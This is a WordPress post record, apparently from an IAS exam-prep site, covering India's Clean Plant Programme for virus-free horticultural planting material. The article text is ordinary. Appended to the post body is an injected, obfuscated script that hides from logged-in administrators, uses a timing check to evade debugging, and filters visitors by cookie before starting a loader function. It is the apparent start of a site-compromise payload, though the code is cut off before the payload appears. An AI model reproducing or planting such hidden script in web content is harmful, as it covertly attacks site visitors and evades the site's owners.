{"id":1284,"date":"2024-08-13T06:45:47","date_gmt":"2024-08-13T06:45:47","guid":{"rendered":"https:\/\/iasquest.com\/?p=1284"},"modified":"2026-02-11T19:13:53","modified_gmt":"2026-02-11T19:13:53","slug":"paper-iv-general-studies-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-25","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-iv-general-studies-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-25\/","title":{"rendered":"PAPER-IV General Studies-III: Technology, Economic Development, Biodiversity, Environment, Security and Disaster Management"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Agriculture: Transport and marketing of Agricultural Produce and issues and related constraints)<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>News:<\/em><\/strong><em> How Centre\u2019s Clean Plant Programme plans to boost India\u2019s production of fruits<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What is the Clean Plant Programme (CPP)? Discuss the significance of CPP on the Indian horticultural sector and how it will improve farmers income.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Clean Plant Programme (CPP), which <strong><em>aims to raise the production and yield of horticultural crops in India<\/em><\/strong>, has been approved by the Union Cabinet recently.It also <strong><em>aims to raise the standard of fruit crops all throughout the country.<\/em><\/strong> The National Horticulture Board and the Indian Council of Agricultural Research (ICAR) will work together to carry out this program.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Ministry of Agriculture has sought an allocation of Rs 1,765 crore for the programme. <em>One half<\/em> of this will be sourced from the budget of the <strong>Mission for Integrated Development of Horticulture (MIDH)<\/strong>, while the <em>other half<\/em> will be in the form of a <strong><em>loan from the Asian Development Bank (ADB).<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Significance of CPP:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The Clean Plant Programme is expected to complement <strong>Mission LiFE and One Health<\/strong> while substantially growing India&#8217;s horticultural industry. It <em>will lessen reliance on imported planting supplies and encourage environmentally friendly and sustainable agriculture methods.<\/em>&nbsp;<\/li>\n\n\n\n<li>This initiative would be essential to making <strong><em>India a prominent fruit exporter worldwide<\/em><\/strong> and bringing about revolutionary transformation in the industry.<\/li>\n\n\n\n<li>The programme has <strong><em>three main components geared towards helping farmers obtain virus-free, high-quality planting material<\/em><\/strong> (plants used for vegetative propagation) in order to increase crop yields and improve income opportunities. These are:<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><em>Development of nine Clean Plant Centers (CPCs)<\/em><\/strong> which will provide disease diagnostics and therapeutics, create mother plants to be sent to nurseries, and quarantine all domestic and imported planting materials intended for commercial propagation and distribution;<\/li>\n\n\n\n<li><strong><em>Enhancement of infrastructure,<\/em><\/strong> including the development of large-scale nurseries to facilitate the efficient multiplication of clean planting material \u2014 the mother plants obtained from the CPCs will be multiplied in nurseries and distributed to farmers;<\/li>\n\n\n\n<li><strong><em>Creation of regulatory and certification process<\/em><\/strong> to ensure thorough accountability and traceability in the production and sale of planting material.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>CPP Benefits farmers:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The program will guarantee that customers receive excellent, virus-free produce that improves the flavor, look, and nutritional content of fruits.<\/li>\n\n\n\n<li>By <strong><em>cultivating fruits of superior quality and free from disease<\/em><\/strong>, India will solidify its position as the <strong><em>world&#8217;s top exporter<\/em><\/strong>, opening up new markets and <em>boosting its market share in the global fruit trade<\/em>.<\/li>\n\n\n\n<li>The Program will <em>give all farmers, regardless of the size of their landholding or socioeconomic condition, priority access to inexpensive, clean plant material.<\/em><\/li>\n\n\n\n<li>In order to guarantee that <em>women farmers have access to resources, training, and decision-making opportunities,<\/em> the program will actively involve them in its development and execution.<\/li>\n\n\n\n<li>The Program will develop clean plant varieties and technologies specific to each area of India, <strong><em>addressing the heterogeneous agroclimatic conditions across the country.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><em>India is the second largest producer<\/em><\/strong> <strong><em>of fruits and vegetables<\/em><\/strong> <strong><em>in the world<\/em><\/strong> <strong><em>after China.<\/em><\/strong><\/li>\n\n\n\n<li>India is also a <strong><em>major importer and exporter of fresh fruits<\/em><\/strong>. In the financial year 2023-24, India exported fresh fruits worth $1.15 billion, while it imported fruits worth $2.73 billion. With the rising consumption of fruits in the country, demand has specifically increased for planting materials of foreign apples, and <strong><em>\u201cexotics\u201d such as avocado and blueberry.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">At present, the <strong><em>process of importing plants is very cumbersome<\/em><\/strong>, with imported plants having to be kept in <strong><em>quarantine for two years<\/em><\/strong>. The <strong><em>CPCs will cut this period down to six months, <\/em><\/strong>and thus make it easier for farmers to access disease free and genuine planting material for horticultural crops in India.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Reference: <a href=\"https:\/\/indianexpress.com\/article\/explained\/how-centres-clean-plant-programme-plans-to-boost-production-of-fruits-9508509\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/how-centres-clean-plant-programme-plans-to-boost-production-of-fruits-9508509\/<\/a>&nbsp;<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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